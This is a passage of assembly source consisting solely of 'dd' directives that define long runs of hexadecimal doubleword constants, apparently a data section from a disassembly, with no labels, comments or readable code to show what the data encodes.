dd 0A9C10F43h, 56823FAEh, 1607460Dh, 25E38075h, 26A59CBh dd 40543539h, 10E037B6h, 13177D97h, 5800D13Dh, 357AA6EEh dd 2B2B021h, 0CE406D0h, 46C80BE9h, 0C8B57368h, 96459347h dd 88E26803h, 5A16CEA4h, 201C1C07h, 0AFBD12CEh, 76402501h dd 42355862h, 0DC4B5D06h, 3AC7CC05h, 94BF73B1h, 0FF080564h dd 0F00BA32h, 6DD12502h, 479225E9h, 0C5CFF151h, 0CFFF6828h dd 76156B50h, 6115A8Ch, 87B93030h, 0E5DCBD4Bh, 0E2658283h dd 0C952DE25h, 0D4C52B7Dh, 51E9E1CAh, 429B4A43h, 9FA5C3Ch dd 0D8C0E957h, 0B94E4ADAh, 4FEB1034h, 0DA55ED5Bh, 7A6221h dd 90662CE1h, 8A0F1606h, 5BBEEC6Bh, 0DEF295FCh, 313091C9h dd 0A50B94h, 0C380F0B3h, 69870F12h, 6C5D93DCh, 1C5B2F24h dd 0D409B8F3h, 0A04EB680h, 80F2D7E0h, 2413BD55h, 0CFF06223h dd 33CCB14Ch, 8D2703F0h dd 6CA00E5h, 0B0703F0Eh, 0B5955061h, 9E49061h, 1BEA516Eh dd 16C40C84h, 18CB02BFh, 60D53B10h, 0CC2410Ah, 0EE297CA0h dd 565F95A4h, 50B95874h, 6AB33993h, 33E94BCCh, 4F4490A7h dd 346671B1h, 0DD76F703h, 0BDD874C7h, 5DEA31B1h, 21E21281h dd 2B63E920h, 0C649220Eh, 66710EE5h, 978B46CDh, 0DFBC34Ah dd 7B0E5D14h, 0D13ADCF5h, 6ADCE95Ah, 393B14F4h, 75C81D5Ah dd 12D3C902h, 33C344E1h, 69B4E9C0h, 893A4112h, 5F695FFBh dd 0F6B008DBh, 37A35F13h, 0B54A2924h, 3E95AEE2h, 7EE782h dd 68504E5Eh, 7F2F3F2Ch, 3A16DE68h, 9C4648F7h, 8EAC101h dd 505ACDE9h, 0EB2DD0F1h, 3EBB711Fh, 2590CE13h, 287598F5h dd 0BF93469h, 2F7B636Fh, 5811897Dh, 0D028C576h, 0A40E83E3h dd 0FEAC975Bh, 4C00353Fh, 302D236Ah, 241647CFh, 0CA08C229h dd 895809CAh, 0BF311677h, 7DD37B48h, 0DADB0D82h, 962433D1h dd 0E61095AAh, 0C809D299h, 510889F0h, 0E9FF4C6Bh, 59977571h dd 0AEEC273Eh, 7E957990h, 2D5EB2Eh, 4A7A996h, 806DBD45h dd 725A3CCEh, 0FEE630E9h, 80C4B65Bh, 0F11F602h, 57BED986h dd 80012745h, 8B0FCBE6h, 0A82A82CDh, 0E95AB035h, 9D1FD6B1h dd 0ADE23B4Ch, 4EFA7777h, 8D5C25Eh, 0B4CC3B72h, 17BA9347h dd 0AC300AD2h, 534104FDh, 7E802CF5h, 9784696Fh, 0FE0BF3F0h dd 58A13545h, 5452320Ah, 0F8EAD982h, 0F76B195Eh, 16D54A84h dd 120F2DA0h, 0AFBFEC89h, 0DDB91461h, 857D171Bh, 0FA1802F9h dd 885C0C9Ah, 7195E279h, 13762522h, 2407C62h, 96E2FD01h dd 4E324B57h, 249EA90Ch, 6B3EA35Fh, 422CFEFBh, 6D60F029h dd 0FE2656BFh, 151C460Dh, 0C02E9F4Eh, 0F254C3E5h, 840F1209h dd 2E41B1D5h, 57A32BB2h, 0E25E348h, 0A4CA32C1h, 42ECCD89h dd 99F0A5DFh, 7E076225h, 28D283D4h, 0EDB15AF5h, 0EDE5C155h dd 600D7C5h, 8D045865h, 0E92CE828h, 0BC4BD738h, 133C2138h dd 6724AA50h, 0F9EB29EFh, 58A95040h, 594D1188h, 72CA9F28h dd 0ED89CDBBh, 0A6840006h, 0FD609126h, 1DA693FDh, 5480099h dd 0F7BEE788h, 746268C0h, 972975A8h, 80467C2h, 0D2CB8958h dd 5B003A50h, 9C777005h, 50D8293Ch, 9053072Dh, 69C2004Ah dd 0F2816245h, 342404DBh, 9502444Eh, 4014B133h, 123AC956h dd 78936BEh, 296EE94Ah, 30020153h, 577F6456h, 8B7C26F0h dd 53C4FE91h, 4C6AF6AEh, 820F10E9h, 42935C2Fh, 659D16D9h dd 15A22FF4h, 9440E64Ch, 0D0060023h, 82D4058h, 5102BB43h dd 7ACEFD05h, 7824C284h, 66503778h, 8F4BFFE8h, 439B6F8h dd 0E89E284Bh, 53262C74h, 3D131850h, 0F8C0800h, 0D21B0C81h dd 0FE16049Eh, 230CC0CEh, 39CF2E9h, 0BE53AD07h, 65F117F0h dd 92CE6181h, 2F4E0A0Bh, 0D31EBDDh, 8005D202h, 6DE990E5h dd 7665BFA2h, 8B499813h, 2DA1FC5Ah, 0EE456ADCh, 0E976D0BBh dd 59B7977Dh, 0CE88F97h, 0E2F95364h, 2852364Fh, 0C7801213h dd 6885706Bh, 0A3B539DEh, 83FCB5FFh, 0DE59E2EFh, 316B28FAh dd 0F141918Eh, 0A22C2B9Dh, 0FEECFDDEh, 0C2B24AE9h, 0A9D7B8E9h dd 4B950020h, 9F51A244h, 804C26Ah, 5C91FB58h, 5C01D49Fh dd 122F3201h, 0F5953E4Dh, 5F0550EFh, 0A94E4894h, 5254897h dd 56D1014Bh, 37509080h, 0E9293DA8h, 405C08AEh, 4490398Eh dd 255D52C1h, 0C42A213Eh, 0D0CEC445h, 690305DFh, 29502B05h dd 7122DF8h, 81DF6406h, 5E569593h, 9F880F83h, 0E9180CAEh dd 2D0AEE99h, 835A6118h, 82116382h, 0CCD71C42h, 88D49630h dd 0BF00B6AAh, 7FE78ADh, 93EF0481h, 0BBBE503Eh, 0E7D2FBC1h dd 450FEE10h, 0C6EDE30h, 408479B3h, 2A3CCA1Ah, 41F4064h dd 956A7FEh, 0D002C3F0h, 3DA2A310h, 70465D25h, 0A60D995h dd 13FAE089h, 0A5A7F870h, 17055261h, 480EA16Dh, 0B452A97Ah dd 4E12516Dh, 5E014321h, 5A0E1967h, 83730C83h, 0BAF4C036h dd 1CA590Bh, 42146078h, 0CBC6A070h, 0C46282A5h, 0A682CCF7h dd 0C5406B0Dh, 572511E5h, 77E9F1B0h, 0FE2C7C60h, 90652CC0h dd 75DE70E0h, 58D5E5C6h, 6331298h, 522F6824h, 0B13E9046h dd 95CEE0C1h, 5D5000Bh, 0E84BE07Eh, 632D0955h, 0E8F5DA95h dd 1792B9DBh, 8926836Ah, 4D9CFCF0h, 7E674B95h, 0EF0084A4h dd 81FE875Dh, 0A4DDBF6h, 0DEF769CDh, 5C681A6h, 2FA5A6A1h dd 8E9A004h, 680AC5B8h, 0B8C6297Bh, 820E5824h, 0B1356C9h dd 0AEC1BC40h, 824AC870h, 8FB89C05h, 4721B3B5h, 6811606Ah dd 0C4BD6A8Ch, 20EA9C5h, 42F2847Bh, 3C83E9C5h, 0BECC99D7h dd 81E07670h, 49B9EB31h, 6ADD3A66h, 0C49923ECh, 461927B7h dd 4515E4ADh, 164E2D94h, 15670845h, 0F6C0E3C4h, 332356h dd 0B9514830h, 40D835D1h, 14E98104h, 0AAA9D38h, 2B153A1h dd 0BC50899h, 0B961D090h, 9880BD9Eh, 1203430h, 885A98F7h dd 0A68569Fh, 3E5A6B2Bh, 575512B5h, 0E195A9EBh, 0C26C30E9h dd 87415725h, 0D9542A41h, 0E5B20351h, 0F2F5B753h, 7156D8EEh dd 0BB459D59h, 487D9A80h, 0B1D9316Ch, 4F89619Ch, 0A7646B20h dd 9D295FEBh, 162BCDC5h, 2A70212Ah, 0C600CFCh, 174149EFh dd 0EC1CAC1h, 0A3207BE5h, 4FC98277h, 0E15C0370h, 46A5054Ah dd 0C925C953h, 8B50D306h, 706E0C1h, 0B55D9505h, 72D4D235h dd 12B51CD7h, 0A3236268h, 39B80034h, 0D06E173h, 550158FCh dd 0D28B0F06h, 58BF4488h, 0C0AC4A2Eh, 0B5E0D1EAh, 718B165Eh dd 420BD326h, 0C4A00A23h, 5559B4BFh, 0C931687Bh, 0FD884486h dd 907CABDDh, 5FA48A4Fh, 400B88D1h, 7608EA05h, 0EE3A42B9h dd 53F46807h, 1653CBEFh, 0B1F8D921h, 486C6882h, 89024775h dd 8358E4E9h, 8034B401h, 8F0FA5F4h, 377AE6F1h, 61600417h dd 0F76B74B5h, 5C5412DEh, 0D69DE8ADh, 8570BA48h, 0BD88C801h dd 5C282550h, 7E9510EBh, 800F82B0h, 8FFEE371h, 3A8A9C62h dd 2D64E6F7h, 2182F888h, 7608D37Ch, 7965046Bh, 3A66491Dh dd 6AD8C869h, 95A84812h, 973BB0D7h, 816BC341h, 728EF8Ah dd 97871649h, 0CDB6F5C0h, 2EC6CC97h, 624E31A3h, 0C6555854h dd 3DF7228Bh, 0AD85C389h, 0CA75D9B9h, 5EFC0842h, 0A81E1726h dd 0A9898244h, 0AF810B95h, 0E38B7065h, 0BBD5062Ah, 0B94212C3h dd 8947E9DEh, 5E55294Dh, 0EA862247h, 0EAD064DFh, 2EF6ABC9h dd 0C2708810h, 5AEDC8E9h, 6A7A27A8h, 60B71C64h, 7C0D21CCh dd 6343FE5Ch, 39A69FAFh, 0C2B50A5Bh, 5856922Bh, 1AB0E979h dd 4A476E9Ah, 404DFD40h, 46B55A08h, 0BB685C21h, 612E549h dd 6B3A89A5h, 5E560AF4h, 0EB2BCD51h, 6438348h, 4C374FCFh dd 0B0350970h, 0EF8B3C8h, 534E92Dh, 89FEBD6Ah, 8DE42AF2h dd 0EFD9678Fh, 5D5A72E6h, 82DFCEA9h, 7F100A05h, 0F9496DA4h dd 24F603B8h, 2FA4729Dh, 49985B94h, 52824FC2h, 0B57FF22Ch dd 4ADB098Bh, 7B055CBh, 8D02300Eh, 3A684603h, 9840465Dh dd 1453032Ah, 44E927BAh, 0CB016F16h, 0BAF51FBCh, 0DC135172h dd 170D6819h, 1096E85Dh, 80039FACh, 0EB884DC5h, 259E8CD1h dd 1F3F308Ah, 4FFC304Ah, 48D3680Ch, 62957D59h, 0C5F574CAh dd 0FBDABA56h, 21813E9Ah, 0C9E43D4Ah, 99C87042h, 0E79D1716h dd 2D8B8815h, 1775545Fh, 204FA069h, 8B4BF07Fh, 92BEED1Fh dd 0E6718D9Eh, 0B18B7B82h, 5610BF98h, 0B580BA0Bh, 97E5FAE3h dd 0A51680C2h, 2D507397h, 0CD2B2FA2h, 0BD4A5A06h, 0C96CF40Ah dd 380F4840h, 0FB82399Eh dd 0D8C7350Ch, 0A6C3BF8Bh, 0AEE8D4A5h, 0EE611D61h, 0F1095207h dd 7DD323DFh, 0D9579B1Ah, 16B86302h, 0B304D80Eh, 0E879B4Bh dd 3E17E2B0h, 0B5B3BD05h, 73269400h, 0CEF28102h, 235B0802h dd 5540A868h, 2AA64398h, 0DC78AD2Dh, 0ACC82758h, 6C287135h dd 9838C815h, 0D2A12F76h, 3A20226Ah, 0D73F31Dh, 19F80496h dd 0A935A44Eh, 14889204h, 0ACFCF331h, 9CAE2713h, 683B5756h dd 85AACD4Ch, 0CDEE80FBh, 3A454DDh, 4D744EC6h, 0A6AAAC85h dd 310F80ECh, 512BBCD6h, 0BA14253h, 2C3B0D50h, 4FDCDCB3h dd 0BAE490ECh, 3EC24534h, 9C610EBEh, 6E5E6203h, 15836DC5h dd 6ED4C9E0h, 3DB5A42Ah, 0D1603C41h, 3AF30BEDh, 3D7C3010h dd 0E11DE93Eh, 0BD2A1F9h, 306C837Dh, 0B4654B39h, 7441018Fh dd 8B3880F9h, 89E6BB1Eh, 0A7506218h, 0A569429Dh, 0F5B2050Ah dd 6AE29778h, 27E3BED7h, 54C071E9h, 0CE5BFE58h, 5E66804h dd 602E62FBh, 0F2DD9DAh, 4E5FFEAFh, 15D9364Bh, 2B2A298Eh dd 158A7F70h, 3EC3FFEh, 3F2CDF0Ch, 730B3A33h, 9D1B5C0Eh dd 0B150F2EFh, 0FCCF3561h, 6FCF7F29h, 0D468A258h, 0BB0FF449h dd 87F1C7AFh, 1B14EB1h, 598B8E7Ch, 0BB37A75Dh, 675C3120h dd 46482CE9h, 0D30E6973h, 1C68FA17h, 0D484830Ch, 0B631BEE5h dd 0EE15C2A8h, 93DCE6C6h, 0F5680D72h, 0F0F0038Fh, 82347520h dd 0A6B354AFh, 3F210E61h, 0A0513330h, 24F5B00Dh, 4C85266Ah dd 2E62DD0h, 1270E697h, 0FA8F38E9h, 8E704A21h, 4A68E864h dd 2E31AC67h, 0C19CAD5Ah, 66BE0560h, 8275D176h, 540742A5h dd 0E7F05165h, 240BF64h, 338135B2h, 0FA5B612Fh, 856801B1h dd 637D9176h, 0EDD13399h, 3B54F1BAh, 8068B107h, 0CA88D4F0h dd 0D1302F59h, 4DAE6526h, 90AC545Fh, 3CA77AB9h, 0FF151407h dd 96C7C045h, 4A13244Eh, 0A7A46AE9h, 0B7250BEDh, 0ED637579h dd 4DB24006h, 0B0C49C5h, 71D376C7h, 8A06E76h, 0A056459Fh dd 31E9131Ch, 0FCCA20CDh, 0CAB0C343h, 29EE342Dh, 994884B6h dd 0E0453DF7h, 1667F26Bh, 0D5B33501h, 1F2BB512h, 541B576Bh dd 9612CD40h, 83516503h, 0F89DD14Ah, 5CA5963Ch, 0B7BD1C30h dd 0B02D1210h, 2506D23Dh, 0DF636A01h, 0C89F2A1Eh, 80F9FB17h dd 0A2BDE688h, 688658F6h, 828EFD80h, 0F4470C55h, 0E9CAB209h dd 0E78C8C6Bh, 5A03FD96h, 0CA65C180h, 7DBC4A9Fh, 575CC592h dd 0C624742Fh, 883B61D2h, 0D71493ECh, 0F7051190h, 3D2095D8h dd 3C267D0Ah, 0FE358BFh, 144DB19h, 80BD8FAh, 750D925Dh dd 9D8BA286h, 0E66BA44h, 9C46EA81h, 6790ACB2h, 0C67F4713h dd 0E710C229h, 5408004h, 2DFA1C2Eh, 0E913E9B8h, 4F515B9Bh dd 720F48E0h, 604EA5F8h, 0EA7B64F7h, 70DD9A95h, 23A2D77h dd 0F98764FEh, 579220Bh, 70A0551h, 29901553h, 0C3895D0Ch dd 0CC833F4Ah, 215DC2ABh, 0B712CCD5h, 179930Ch, 10E7FA49h dd 552EDD39h, 4AD61075h, 0FD4A7BFCh, 6DD0850Bh, 0DD12DCA9h dd 238BBE76h, 42475124h, 0B25F5457h, 139D7B3Dh, 226FACEFh dd 0A0E91602h, 0FB355245h, 0CACCC417h, 0B8E9128h, 6DEF908h dd 478F0C52h, 0F1DB221h, 0F181E1D1h, 65C202A2h, 8A240140h dd 0D4282E27h, 4D1F0DF5h, 7CA2D971h, 12B84A8Fh, 0A569BE1h dd 5C20A858h, 56E08A2Fh, 18225C78h, 780AFD7Ch, 5115B9Dh dd 0EAAEDBE9h, 91AE3D35h, 6B2DC162h, 91C85E38h, 825912B4h dd 0FF60B07Bh, 22C00F6Ch, 3D227A35h, 8A649766h, 7F3E301Fh dd 675B6845h, 1302FAD8h, 13382132h, 60D33797h, 77496B4Eh dd 1465148h, 173129F2h, 9641DBF7h, 0B33FA548h, 20C68EB8h dd 0DAE95B51h, 0EF4FC099h, 0C0E3F7C9h, 80454497h, 2411C883h dd 21164F6h, 91E28D7h, 0E21582D5h, 0DD540D59h, 5ED46DD8h dd 1CB54CF8h, 0E9C5C448h, 0EFFDD5CDh, 5CFC9AC4h, 0CAB814E2h dd 0A2B2E1E9h, 258EB91Fh, 0BE931C1Eh, 4B31E5B0h, 35D237C1h dd 0E90820DEh, 9DDDD390h, 0DD945C89h, 0BB5E9430h, 0C5D65481h dd 0D7E98D6Ch, 0C8B73A69h, 6E54294Eh, 409C5123h, 0A359513h dd 33461978h, 0E3B70BCBh, 4C149F9h, 0C12A5C44h, 282FE9F9h dd 55FF40DBh, 31E7651Eh, 831836ECh, 2C118819h, 24E60906h dd 6E9F081Ah, 123C95A4h, 2DE90A2Ch, 0B645297Fh, 4A70FEAh dd 80D20B6Eh, 0D154E1D6h, 0F5CA1E50h, 0DDE507A2h, 4AA46724h dd 0EBA3E905h, 189C2801h, 0C77B1379h, 2F28B8CBh, 497A7228h dd 0B10828B1h, 5DFEA7B2h, 0A3845FC9h, 683DD0BFh, 0CC952588h dd 8172A01Eh, 4BF42E7Ch, 1D1050Dh, 5EAA8386h, 28FA1694h dd 0DD246857h, 21D02B4Ch, 0DA98372h, 6FF87531h, 6B7C6091h dd 23D7D202h, 1630FBFDh, 0BB05132Fh, 0CCEC1735h, 0A0EBB4C5h dd 0CC75FEE1h, 807302FAh, 42E91E09h, 0EFD87484h, 0E535EBC5h dd 0B151D4B2h, 16C38348h, 0A7F8F602h, 0BB02F220h, 7061762Dh dd 1A967589h, 0D909CDECh, 0F463C718h, 8ADD0941h, 0D581CF64h dd 6120C1D6h, 408E04BDh, 984655B5h, 48005852h, 4C749735h dd 2D8B0F0Ch, 0BDF69543h, 15EED1D8h, 0F9D248E9h, 7EEEB74Eh dd 0F36A9230h, 2E9FAAC2h, 12CFFE08h, 0DCC9EDDBh, 4552DEAFh dd 5EB54946h, 67FDA4D7h, 672906E1h, 0B27BB912h, 48F884A6h dd 0CC01EB12h, 157A4D65h, 2A4E993Ah, 9A2EF88Ch, 0B8D6975Ah dd 9E3EE978h, 0CB2C3855h, 54564200h, 1F2E4D5h, 782BD5BAh dd 0F0D6314Dh, 7AA04A5Fh, 0AA3B71E6h, 0DCF2002Dh, 0F7F1F01h dd 3F75E87h, 0A40BE93Dh, 0C1290B3Ch, 666CF5FDh, 0B443E84Bh dd 13DCB201h, 568012C0h, 3D2C239Bh, 8225E94Ah, 625676E3h dd 31D7C330h, 446A51B2h, 0D5CCE9ADh, 0D34DA231h, 0D6D1EF09h dd 796870E7h, 0A2EC204Bh, 0E8EE81B0h, 5397F18h, 0D4B9E32h dd 0D60109A2h, 1C08061Ch, 984E1483h, 0A320E62Dh, 129BCB7h dd 0F608EDC0h, 3274E8DDh, 0E22E4A9Dh, 0D742DF50h, 0E961925Eh dd 26802F8Fh, 0DE0C355Ah, 894B1D58h, 1721ABB5h, 116EF2Ch dd 0A27E16CFh, 43061B64h, 5E5E03Bh, 7BCE3E6Ch, 5BC08B25h dd 35276859h, 72839844h, 3B53B7C6h, 51D5B10Bh, 24192479h dd 0FEBD826Ch, 0DE807F78h, 971DA8EDh, 0E70C7361h, 0C0FA7174h dd 24458C8Bh, 2F7FE391h, 895B5F14h, 0AB4E27A9h, 8DE94004h dd 2F689988h, 23F10538h, 0B5E9E682h, 279845A7h, 0BF0AF1F3h dd 31C31198h, 7CEE93F5h, 1F8AEC08h, 17670FBFh, 4F7051E8h dd 0C2EEE9C2h, 6AD4A2D5h, 0FA9122B9h, 0CC9A977Eh, 33236006h dd 5C9AB5FCh, 851B352h, 12E02EF9h, 0E9C30B5Eh, 66DA2E3Ch dd 91EBD8A0h, 1FD22310h, 3A6B1004h, 13E524h, 0C4A6808h dd 0D8035693h, 0E9798E09h, 0B3BD5E15h, 0D7903E20h, 0FC860312h dd 0D4098419h, 0E130DCD9h, 0E2881CEFh, 15FEE558h, 3FC1D05Ah dd 2CC030D8h, 0C09E8E70h, 0E80CB519h, 79C659F1h, 0A4B14060h dd 7598C980h, 0F4386327h, 0B7BD62D1h, 0DCEB5F05h, 42027C15h dd 7E0C17Bh, 966D6850h, 0C0D673F7h, 360D580Fh, 6775A14Ah dd 4454136h, 68050932h, 6E517CFCh, 0B65C9B82h, 0E7C05D7Eh dd 0E7BFF99Eh, 0D5512F25h, 8BAC5C94h, 1D887568h, 249910A7h dd 5A13FC5Dh, 0E9561E60h, 0E39F4E7Eh, 1D453297h, 46D0E05Ch dd 9CB980DEh, 947E0838h, 739BCD21h, 555DFA0Bh, 0F89A7F67h dd 5F9E84FDh, 0B8A088AFh, 71482E1Eh, 78BE2DBh, 28D1B6A5h dd 0D384C3F7h, 43E52F01h, 452A7A6Eh, 546AA4F1h, 0FD4A6E37h dd 0FE8B5BDDh, 48BA0F10h dd 602704C7h, 0BEF81D28h, 4DAF717h, 9B97884h, 0F5E7575Eh dd 7D527A2Eh, 13865BE3h, 2158C213h, 4F23C5C8h, 201C8982h dd 507BDC1Ah, 5CE5C48h, 0A4B4555Bh, 0BF04C4BEh, 0E6D0E15Eh dd 6F945333h, 0C945A5F5h, 53887DDh, 0C409C818h, 0C9E92F52h dd 5D01568h, 726F2E9Dh, 0EF9967BFh, 0A42FE892h, 0B894DC81h dd 4BAA6800h, 3BA099B5h, 552EB2FFh, 5E2DA045h, 2076F2DCh dd 7418E9E1h, 7F313324h, 90E4BFDEh, 0B04A58FCh, 5F5C0872h dd 26AEED10h, 9F69EE20h, 0AF329BD0h, 0E429122Ah, 0E9553FADh dd 0BDD8E2D5h, 0A2161728h, 6C41FE40h, 0EDD14DDDh, 87D830h dd 5197C0C6h, 36929B9h, 2010265Ch, 29EA0B3h, 0C2705A4Eh dd 79BC596Bh, 75ABA8D2h, 2D5A88EFh, 654A7250h, 0B50DDEEh dd 4B137CCCh, 7FFC7F5Bh, 86AA76Ah, 0C262F25h, 0AB4E5511h dd 7103A109h, 3DEC495Ah, 0A4A6E918h, 1316C7C7h, 0B0BA9562h dd 0DE41A053h, 5AAA5424h, 0C84B546Ch, 5049720h, 58BF48F3h dd 752BB82h, 0C67F6350h, 334E9704h, 38BB6F25h, 444096B3h dd 0D75CECADh, 0F36C8455h, 0CBF84E8Ah, 0FC2BE9C2h, 92073482h dd 7112907Ah, 0A721D788h, 5901D653h, 0B7063A01h, 72C32B51h dd 58C626E8h, 256805D8h, 1236E337h, 0C8AEDC5Ah, 972C68E3h dd 5361B94Dh, 0B3ACAE9h, 57093078h, 0D4A76C05h, 0A9CBFE39h dd 0B034E9C4h, 7D58B841h, 305824B9h, 0C8607C24h, 80A2E5E9h dd 0F42C890Fh, 0E88C6333h, 0F8030607h, 635F308Ah, 8953F6AFh dd 458F48B5h, 691A3901h, 2D83ECCFh, 0CB0110C1h, 0CE67C985h dd 0D749B751h, 125199A7h, 69431F5Fh, 0A104E42Ah, 6E3C007h dd 0F671C380h, 0C9D6FEDBh, 0C5EC7084h, 8D0F1211h, 0EE195299h dd 0C69567C1h, 4358530Ch, 2E525526h, 0B07FBFE1h, 211626DDh dd 0CF8120D2h, 0A5405A50h, 4C6FF7EAh, 0C2278D29h, 60E98348h dd 0C50A09B5h, 0E07B27F2h, 24C7425h, 481F0D3Ch, 18A089F5h dd 58F6C594h, 0CA58C5E0h, 4025C648h, 6858EAD4h, 0E6745F62h dd 5FC75E0Eh, 0E97DFE60h, 0BDED4020h, 302FE07Bh, 22AD803h dd 6AC2E381h, 63C04305h, 9D096319h, 5A37E921h, 0F4C30450h dd 0AF75F257h, 3C0D44C1h, 7E0E5207h, 0D5D6D8A9h, 4D8A5525h dd 0D5CC3F1Ah, 0EEBA404Eh, 65CE6BDDh, 0E7B519Fh, 0F8A2A705h dd 2960401Fh, 0A360CBDEh, 597FC2D8h, 7EFEC11h, 241B1AFBh dd 51CCD29h, 31B40D08h, 0C2FA3081h, 0E295F690h, 0F6D56C72h dd 0F6B65F74h, 6D18D891h, 28EC2C67h, 50052557h, 2971EB5Dh dd 0B32FB968h, 10FD52A5h, 2F50E472h, 7733625Bh, 8B59BAE6h dd 833A2D3Ch, 0A9FEBB22h, 0F43F0CF1h, 317480EEh, 82E93508h dd 5B5E2792h, 6153571Eh, 8B252E80h, 0B0D75B47h, 57825C3Eh dd 82D1BA05h, 677E737Dh, 0AC985752h, 0D68228D8h, 0BFE2DF5h dd 0FB027F25h, 9BAEAFC4h, 12656DC4h, 0F64005BFh, 0C76B94Fh dd 0A12D0EEh, 2D953DC6h, 7B94B14Ah, 0BFFDD48Dh, 0D9FB53C5h dd 32001C7h, 406141B1h, 0AED420A2h, 80318E34h, 0D7AE64C5h dd 57805EC6h, 0E62D646Bh, 473D2317h, 7177C84h, 1970FA29h dd 4B27924Eh, 0CDAAE45Bh, 0C9E76D5Fh, 641A5925h, 9A066355h dd 0FA5C09A6h, 58FAD449h, 0A9BEE378h, 53F0B840h, 0ED098D8h dd 2BAE4E54h, 77A446AFh, 44E68306h, 549E3B48h, 4B05097Dh dd 0C6011A08h, 0D089F10h, 83A15EE9h, 0D024803Eh, 0A7D3571h dd 1B87E433h, 0CA56BAF1h, 1B6E7F87h, 37FE3B24h, 10700689h dd 17F180C5h, 0C0565038h, 1B3F7A16h, 292E97Dh, 0CAE90DB9h dd 9BEE334h, 7F35673Ch, 81EB6E87h, 3B6CD638h, 0D84B110Bh dd 0FBAA205Fh, 12FB6658h, 3330E541h, 9517EA68h, 27950498h dd 88CE983h, 0EEC0B051h, 0E5BF5700h, 2A6A2205h, 0CA80FD89h dd 466EDC5h, 27E978C2h, 46350179h, 56CC5513h, 7E4104BEh dd 86290BC7h, 0F7011246h, 875C1726h, 68E49CEh, 0FE5393E9h dd 0AB312A20h, 0E87FD23h, 89EF97DAh, 77D98BD7h, 8840C332h dd 561D0C33h, 0D59BE9C6h, 0EE980EEBh, 89C657EDh, 0FE1F06EFh dd 2D965D5Fh, 900C1ABEh, 79C0241h, 0BA703BB0h, 9B565C6Fh dd 4A1DAA01h, 61CA8777h, 6A562281h, 0EF089A10h, 580D006Ch dd 0F755040Eh, 1035D802h, 4001AA1Ah, 20ABB134h, 0A1BAA341h dd 3A66AD27h, 92447FA7h, 0C6C7E919h, 0EC09EF21h, 99BD3B7Bh dd 0D86E51B7h, 0F460A210h, 63F7C537h, 0EDCE90FDh, 806DB21h dd 6CB6091Ch, 96554F3Ah, 408AB02Fh, 68185699h, 0B1177C6Dh dd 0CB308038h, 3F5669EEh, 24563E60h, 2D835D08h, 30C95A1Eh dd 0E96B8765h, 39C0AF76h, 0A147B2CBh, 0EBD1261Fh, 0AD4512BBh dd 4A9FD002h, 8AE92823h, 5B2BF026h, 2FD8E5BAh, 532F6344h dd 4850F01h, 972F628Ch, 0FC139DA8h, 0D48BB8AEh, 2C2121Eh dd 1D022CBFh, 0C0AD446Eh, 1A3025A4h, 0F488CA88h, 860F8291h dd 0ED483727h, 6880593Fh, 24CCE0F7h, 17BF5B6Ah, 0A24F56D3h dd 6EB8008Fh, 0BD42AE66h, 5A70476h, 6C5010Eh, 345DAC7Ch dd 0EE53C981h, 112F37A6h, 5177CFC2h, 0C5E90537h, 37CAFEA4h dd 41CE2F7Ch, 0F469E7DCh, 0CBFC6B8Eh, 750E8000h, 963DE905h dd 65442F9Bh, 5E26B025h, 1DE426AAh, 73B76003h, 28F8256Fh dd 68716CC4h, 0ACD9EF12h, 11696680h, 0E9953F59h, 0E764C330h dd 822EE18Bh, 0DD80E2DDh, 187DF6C2h, 9F7E2BC9h, 59408BF1h dd 974783E9h, 0C4D3CB9Bh, 7F86BF58h, 757E3558h, 9EB10C8h dd 0BD13A3E9h, 0C47446E1h, 0A8F8522Dh, 0BF187160h, 4E3D2EFBh dd 5C4B241h, 782C6866h, 84044E1h, 170F21C9h, 0E2E4CE82h dd 4BCFE732h, 0B5732Ch, 0E9C0B70Fh, 22928ED9h, 4A8124EAh dd 481EC60h, 0AB7548CAh, 0A316BF42h, 7DBC6D12h, 1FCB3FDEh dd 0CFCD893Fh, 0FD55DA91h, 0D8C2065h, 34DB3EF9h, 0B5515301h dd 84EF88CFh, 0BCD1E9B7h, 4FC106ECh, 0F566FD31h, 3BFC286Eh dd 113801BEh, 46E6D128h, 0C06086F4h, 6B74ED69h, 0D09F159Fh dd 741BB29Eh, 35316ABh, 5D0ED021h, 805DE3E9h, 384704B6h dd 81FE3D05h, 0A449BA10h, 5010CE11h, 0F3E2D116h, 8FAD4B98h dd 4F40F2E4h, 19B15F1Dh, 472CFB01h, 0C409302Fh, 3272EED5h dd 0D21AEC22h, 0D74CBE4h, 647BC69Dh, 81541105h, 56DB244h dd 0A8C40CEDh, 6673273Eh, 0AC455A2Fh, 3096754h, 49EF98D2h dd 0E260E781h, 21FE04CFh, 0B0D17CF7h, 643C6C20h, 0FF67EFAh dd 2159D009h, 59CD5431h, 8B743C29h, 27B056EAh, 0F088A8DBh dd 0AB92BC6Eh, 0DE91AECBh, 457BEF8Bh, 0BBBAC845h, 0B4797FCCh dd 55F000Fh, 44230C85h, 2D519FB0h, 0F178A707h, 92FD6B9Ah dd 48E1D7B6h, 0C36620F6h, 8C202841h, 0B885D323h, 36F71094h dd 0FD3E2DC0h, 14FBA73h, 18CEB4h, 816CCA5Eh, 575D43EAh dd 0FE210D2Fh, 0C4730CD0h, 6805EBF7h, 29264735h, 302C5B81h dd 0CF28EA39h, 0F6DE9DACh, 0BC520425h, 72C6550Eh, 0C60545BFh dd 117B0109h, 9885B7BDh, 920EACD9h, 766CCAFBh, 2E72685h dd 1FF7741Eh, 0F05154C0h, 20AF1497h, 317FA780h, 589AA0EEh dd 0F894B027h, 4F5073E6h, 5B4109D8h, 0A8EC7905h, 255C8F5Dh dd 0C8BE737Eh, 654DCF44h, 2A4B9E1Ah, 6225DCDEh, 6801E8E4h dd 6D2F4811h, 0C7302A7Ch, 583B59BBh, 0EB3A06A1h, 51711A8Dh dd 3021D40Ch, 0FC04074Ah, 0B4F94B7Dh, 0B8F3752Ch, 0AB0152h dd 7E66929h, 0E8E564E7h, 888F14Bh, 520C7508h, 409A207Eh dd 0DD40D0EDh, 0D28C4014h dd 0A7087162h, 0B94502E7h, 313FF903h, 6A49C738h, 0BF088CCAh dd 62B2186Dh, 9FE2088Eh, 3023802h, 2810768Fh, 4F182894h dd 722910E4h, 0CF593D80h, 18F87608h, 1180BFB2h, 23EB83C5h dd 9ADE0818h, 8073A520h, 10C46BE9h, 0D60456C2h, 0F43606F9h dd 80A3108h, 8846EA18h, 81BBF08h, 2089AEFh, 6FA1084Bh dd 39893338h, 0CFD1332Eh, 0A9197E10h, 4D108690h, 5454988h dd 186C5F0Dh, 898FFF5h, 0B037C9BDh, 0C40F08C4h, 0A039300Ch dd 62D44140h, 247E08ACh, 10ABA603h, 18399728h, 